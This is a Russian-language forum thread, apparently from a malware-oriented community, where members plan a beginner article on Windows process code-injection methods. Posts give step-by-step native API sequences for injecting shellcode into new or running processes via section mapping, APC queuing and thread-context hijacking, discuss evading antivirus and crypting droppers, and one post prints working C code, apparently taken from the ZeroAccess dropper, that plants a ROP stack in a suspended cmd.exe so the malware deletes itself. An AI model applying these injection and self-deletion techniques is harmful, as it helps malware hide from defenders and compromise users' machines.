Статья про методы инжекта

greenzy

(L3) cache
Пользователь
Регистрация
25.10.2010
Сообщения
208
Оценка реакций
1
Баллы
18
Привет всем неспящим! От скуки (сессия же) решил написать статью для новичков про методы инжекта и внедрения стороннего кода, учитывая все новые методы. Все старье вроде CreateRemoreThread отбрасываю. Сейчас нужно вспомнить какие методы были засвечены в последнее время. Если знаете что либо, кидайте сюда в топик
 

el-

Старожил форума
Легенда
Регистрация
21.10.2006
Сообщения
442
Оценка реакций
2
Баллы
18
а старые это какие ? вообще имхо там есть несколько вариантов

запуск в видел длл через реестр, аля апплибс, тоже по сути инжекты

и потом разделение двух процесов записи и передачи управления, запись - WriteProcessMemory/через именованую секцию или мб пайп/через командную строку/перемап и передача управления - новый поток/апц/контекст/перезапись чего либо ( апишки )/перемап опять же. если что еще вспомню допишу

вообще если написать статью типа 'о методах инжекта в послдений раз' про все все все, будет довольно круто.

Добавлено в [time]1355121263[/time]
о еще запись в стек роп шелкода, сразу и передача управления
 

Apocalypse

(L2) cache
Пользователь
Регистрация
28.06.2011
Сообщения
328
Оценка реакций
86
Баллы
31
Комерц же :rolleyes:
 

greenzy

(L3) cache
Пользователь
Регистрация
25.10.2010
Сообщения
208
Оценка реакций
1
Баллы
18
я сейчас копаю цепочку ZwCreateSection/ZwMapViewOfSection/ZwUnmapViewOfSection с записью шелл кода , никакой комерческой цели не преследую

Добавлено в [time]1355131826[/time]
если кто копал дроппер ZeroAccess, то откликнитесь
 

Apocalypse

(L2) cache
Пользователь
Регистрация
28.06.2011
Сообщения
328
Оценка реакций
86
Баллы
31
А инжект в создаваемый процесс или в существующий?

Если первое, то для твоей цепочки такой алгоритм:

1 - CreateProcess - Suspended
2 - ZwCreateSection
3 - ZwMapViewOfSection (2) в (1).hProcess = адрес памяти
4 - ZwMapViewOfSection (2) в себя (-1) = адрес буфера
5 - копируем шк или чего надо в (4), оно автоматом проецируется в (3)
6 - ZwQueueApcThread (1).hThread (3)
7 - ZwResumeThread (1).hThread

Для второго:

1 - OpenProcess с нужными флагами
2 - ZwCreateSection
3 - ZwMapViewOfSection (2) в (1) = адрес памяти
4 - ZwMapViewOfSection (2) в себя (-1) = адрес буфера
5 - копируем шк или чего надо в (4), оно автоматом проецируется в (3)
6 - CreateRemoteThread (3)

Profit?

Ну можно поебацо с ZwGetContextThread и ZwSetContextThread в обоих вариантах, но если в 1 случае будет довольно просто, то во 2 надо еще найти активный поток и еще вернуть ему управление после нашего кода.

А еще можно пропатчить OEP для первого случая и обойтись без ZwQueueApcThread, но это сути не меняет и добавляет лишнего кодеса.

О, еще можно для второго случая смапить к себе из открытого процесса какую-нибудь дллку, типа ntdll или kernel32, пропатчить адрес часто используемой апишки и обойтись без CreateRemoteThread.

Есессно надо учитывать битности процессов, есессно все это палится более-менее нормальными проактивками.

Рассматривать дроп длл я бы не стал, т.к это палевно х2, ведь надо криптовать и дроппер и саму длл.

Также есть интересная техника с KnownDlls, но там нужны права админа, т.ч не особо перспективно.

Ну есть еще пару фокусов, но я бы не хотел чтобы о них писали... т.к комерц и вся х#йня.
 

el-

Старожил форума
Легенда
Регистрация
21.10.2006
Сообщения
442
Оценка реакций
2
Баллы
18
za kill him self
Код:
bool
kill_him_self_inj_sub_403AE2( pvoid h_prc, pvoid h_thr ) {

	PLDR_DATA_TABLE_ENTRY pdte;
	UNICODE_STRING us_dos;
	OBJECT_ATTRIBUTES oa;
	pvoid h_mod;
	HANDLE h_file;
	HANDLE h_cur;
	IO_STATUS_BLOCK isb;
	CONTEXT ctx;
	NTSTATUS ns;
	ulong stack[19];
	bool b_ret = false;

	if (!( h_mod = GetModuleHandle( 0 ))) return false;
	if ( LdrFindEntryForAddress( h_mod, &pdte ) != STATUS_SUCCESS ) return false;
	if ( RtlDosPathNameToNtPathName_U( pdte->FullDllName.Buffer, &us_dos, 0, 0 )) {
  InitializeObjectAttributes( &oa, &us_dos, OBJ_CASE_INSENSITIVE, 0, 0 );

  ns = NtOpenFile( &h_file, DELETE, &oa, &isb,
  	FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SUPERSEDE );
  if ( ns >= STATUS_SUCCESS ) {
  	ns = NtDuplicateObject( NtCurrentProcess(), h_file, h_prc, &h_file, 0, 0, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS );
  	if ( ns >= STATUS_SUCCESS ) {
    ns = NtDuplicateObject( NtCurrentProcess(), NtCurrentProcess(), h_prc, &h_cur, 0, 0, DUPLICATE_SAME_ACCESS );
    if ( ns >= STATUS_SUCCESS ) {

    	ctx.ContextFlags = CONTEXT_CONTROL;
    	ns = NtGetContextThread( h_thr, &ctx );
    	if ( ns >= STATUS_SUCCESS ) {

      //ZwWaitForSingleObject( h_cur, 0, 0 );
      //ZwClose( h_cur );
      //ZwDelayExecution( 0, &esp + 0x44 );
      //ZwSetInformationFile( h_file, esp + 0x4c, esp + 0x34, 1, FileDispositionInformation );
      //ZwClose( h_file );
      //RtlExitUserThread( 0xFF676980 );

      ctx.Esp &= 0xFFFFF000;
      ctx.Eip = ( DWORD )NtWaitForSingleObject;

      stack[0] = ( ulong )NtClose;      /* 0x00 */
      stack[1] = ( ulong )h_cur;    /* 0x04 */
      stack[2] = 0;      	/* 0x08 */
      stack[3] = 0;      	/* 0x0C */
      stack[4] = ( ulong )NtDelayExecution;  	/* 0x10 */
      stack[5] = ( ulong )h_cur;    /* 0x14 */
      stack[6] = ( ulong )NtSetInformationFile;  /* 0x18 */
      stack[7] = 0;      	/* 0x1C */
      stack[8] = ctx.Esp + 0x44;    /* 0x20 *///&stack[17]
      stack[9] = ( ulong )NtClose;      /* 0x24 */
      stack[10] = ( ulong )h_file;      /* 0x28 */
      stack[11] = ctx.Esp + 0x4C;    /* 0x2C *///&stack[19]
      stack[12] = ctx.Esp + 0x34;    /* 0x30 *///&stack[13]
      // FILE_DISPOSITION_INFORMATION
      stack[13] = 1;      	/* 0x34 */
      stack[14] = FileDispositionInformation;	/* 0x38 */
      stack[15] = ( ulong )RtlExitUserThread;  	/* 0x3C */
      stack[16] = ( ulong )h_file;  	/* 0x40 */
      // LARGE_INTEGER
      stack[17] = 0xFF676980;    	/* 0x44 */
      stack[18] = -1;      	/* 0x48 */
      // IO_STATUS_BLOCK      /* 0x4C */

      ns = NtWriteVirtualMemory( h_prc, ( pvoid )ctx.Esp, &stack, sizeof( stack ), 0 );
      if ( ns >= STATUS_SUCCESS ) {
      	if ( NtSetContextThread( h_thr, &ctx ) >= STATUS_SUCCESS ) b_ret = true;

      }
    	}
    }
  	}
  	RtlFreeUnicodeString( &us_dos );
  }
	}
	return b_ret;
}

void
kill_him_self_sub_403C8F( void ) {
	
	static WCHAR wc_comspec[] = L"comspec=";
	static UNICODE_STRING us_compspec = { 0x10, 0x12, wc_comspec };

	PWCHAR pwc_com = get_enviroment_value_sub_401DD2( &us_compspec );
	if ( pwc_com ) {
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  memset( &si, 0, sizeof( si ));
  si.cb = sizeof( si );

  if ( CreateProcess( pwc_com, 0, 0, 0, 0, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi )) {
  	if ( !kill_him_self_inj_sub_403AE2( pi.hProcess, pi.hThread )) {
    NtTerminateThread( pi.hThread, 0 );
  	} else {
    NtResumeThread( pi.hThread, 0 );
  	}
  	NtClose( pi.hThread );
  	NtClose( pi.hProcess );
  }
	}
}

Добавлено в [time]1355144351[/time]
ппц ar3s сделай нормальный тег code с табами, куртизанками и преферансом, кривота же ):

Добавлено в [time]1355144544[/time]
Apocalypse, вообще давненько я капал в сторону подъема из свцхост и иже связными подъемом через длл ( я благополучно забил ), но идея была в следующем что при подъеме длл не отличается от экзе, кроме как флагом в пе хидере и соответствующей отработкой в мейне. потом же после подъема в мейне выстраивался необходимый экспорт, прямо в памяти дабы не держать его на винте и не давать повод для паники ав ...
 

Rev0Lt

RAID-массив
Пользователь
Регистрация
02.07.2011
Сообщения
64
Оценка реакций
0
Баллы
13

Izg0y

HDD-drive
Пользователь
Регистрация
28.01.2008
Сообщения
39
Оценка реакций
14
Баллы
18
Jabber
2greenzy

Год примерно назад примерно пытался дописать. Забирай если пригодится.

Все методы внедрения кода в адресное пространство ( АП ) чужого процесса, можно условно разделить на 2 вида:

   Изменение внешней среды процесса

   Способ подразумевает влияние на окружающую "среду" процесса или компоненты операционной системы ( ОС ). В подавляющем большинстве код запустится только после перезапуска процесса или всей ОС.
       1.1 Ключи реестра

       Реестр предоставляет массу вариантов ( AppInit_DLLs, ...\Notify и т. п. ). Передача управления, на внедрённый код, как правило осуществляется загрузчиком либо самим целевым процессом ( в зависимости от конкретного способа ).
       [ + ] Автозапуск, документированность, стабильность и простота реализации.
       [ - ] Не на все процессы можно влиять через реестр, как правило код должен быть в виде *.dll.

       1.2 Подмена используемых процессом ресурсом

       Самым простым способом является подмена используемой процессом *.dll на свою. В этом случаи запуск кода обеспечивает PE-загрузчик. Для изменения поведения ОС, при поиске библиотек, существует параметр SafeDllSearchMode в реестр. Подробнее об этом можно почитать здесь.
       [ + ] Простота реализации.
       [ - ] Привязка к конкретной программе.

       1.3 Подмена настроек ( с целью подгрузить плагины, расширения и т. п. ).

       За запуск кода отвечает сам процесс.
       [ + ] Документированность и стабильность.
       [ - ] Привязка к конкретной программе.

   Изменение кода процесса

   Пожалуй самый распространённый способ - непосредственная запись кода в АП целевого процесса. Здесь уже придётся самому позаботится о передаче управления на внедрённый код.
       2.1 VirtualAllocEx/WriteProcessMemory ( NtAllocateVirtualMemory/NtWriteVirtualMemory )
       [ + ] Универсален для всех процессов ( на которые хватает прав ).
       [ - ] Требует специфичного кода.

       2.2 CreateFileMapping ( NtCreateSection ) // http://habrahabr.ru/blogs/infosecurity/93027/
       2.3 RegisterClassEx/CreateWindowEx // http://twister.rootkits.su/articles/windowinject.php
       [ + ] Простота реализации.
       [ - ] Сложность при передачи управления ( системнозависемый способ ), работает только для GUI-процессов.

       2.4 SetWindowsHookEx
       [ + ] Документированность и стабильность.
       [ - ] Код должен быть в виде *.dll, работает только для GUI-процессов.

   Передача кода в интерфейсы процесса

   В роли интерфейсов может выступать всё, что угодно ( LPC, RPC, Pipe, Shared Memory и т. п. ). Даже такая безобидная вещь как параметр запуска процесса - может быть задействован.
   [ - ] Ограниченный размера внедряемого кода.

Передача управления

Следующим шагом является передача управления на внедрённый код.

   CreateRemoteThread ( NtCreateThread )
   QueueUserAPC ( NtQueueApcThread )
   GetThreadContext/SetThreadContext ( NtGetContextThread/NtSetContextThread )
   [ - ] Нюансы в реализации.

   Установка собственного SEH или VEH обработчика и внесение ошибок в код процесса или служебные структуры.
   2.2.4 ....
 

greenzy

(L3) cache
Пользователь
Регистрация
25.10.2010
Сообщения
208
Оценка реакций
1
Баллы
18
хочу разбить на несколько тем, подтем, чтобы было легче усвоить. какие критерии предлагаете?
 

Izg0y

HDD-drive
Пользователь
Регистрация
28.01.2008
Сообщения
39
Оценка реакций
14
Баллы
18
Jabber
Лично я предлогаю критерии по сложности и нюанасам. Тупо SetWindowsHookEx не подразумевает открытия какого-то "таинства" всё документировано и т. п.
Вот по кнедряемому коду уже можно и про базонезависемый писать... при желании это можно в монументальный труд превратить ( современный аналог "от зелёного к красному" ). Потомки не забудут для всех полезно... ИМХО достойное занятие
 

Ragnar

RAID-массив
Пользователь
Регистрация
25.01.2008
Сообщения
88
Оценка реакций
4
Баллы
13
Вот я против подробного описания всего этого. Почему? Кто в теме, тому достаточно краткого описалова или тот читал и знает\сам додумает.
Вы же тут хотите расписать подробно методики, что порождает волну копипаста (необдуманного).
 

greenzy

(L3) cache
Пользователь
Регистрация
25.10.2010
Сообщения
208
Оценка реакций
1
Баллы
18
приваты, 0деи оставим в стороне
 

Izg0y

HDD-drive
Пользователь
Регистрация
28.01.2008
Сообщения
39
Оценка реакций
14
Баллы
18
Jabber
Там вобще не подробно... сейчас то что у меня не осилиолось в сорсах в адромеде еде. Нет там запретного и секретно ничого ( никаких техник не спалилось, то что и спалилось системо зависимо по ссылкам ) если переработают то уже хекеры )

вобще я старался систематизировать, а не таинства открыть. ( вот в описаниях нет никаких кодов ) кому надо тот и так дойдёт.
 

Ragnar

RAID-массив
Пользователь
Регистрация
25.01.2008
Сообщения
88
Оценка реакций
4
Баллы
13
а, ну тогда я спокоен :baby:
 

Quake3

генератор Зла
Модератор
Регистрация
03.11.2010
Сообщения
700
Оценка реакций
280
Баллы
71
да, интересно было бы такое почитать, я не говорю про какой-то мега приват, но те способы, что юзаются в большинстве современной малвари.
Например, про это хотелось бы узнать подробней, обе ссылки битые.
 

Apocalypse

(L2) cache
Пользователь
Регистрация
28.06.2011
Сообщения
328
Оценка реакций
86
Баллы
31
На васме ж есть...
 
Верх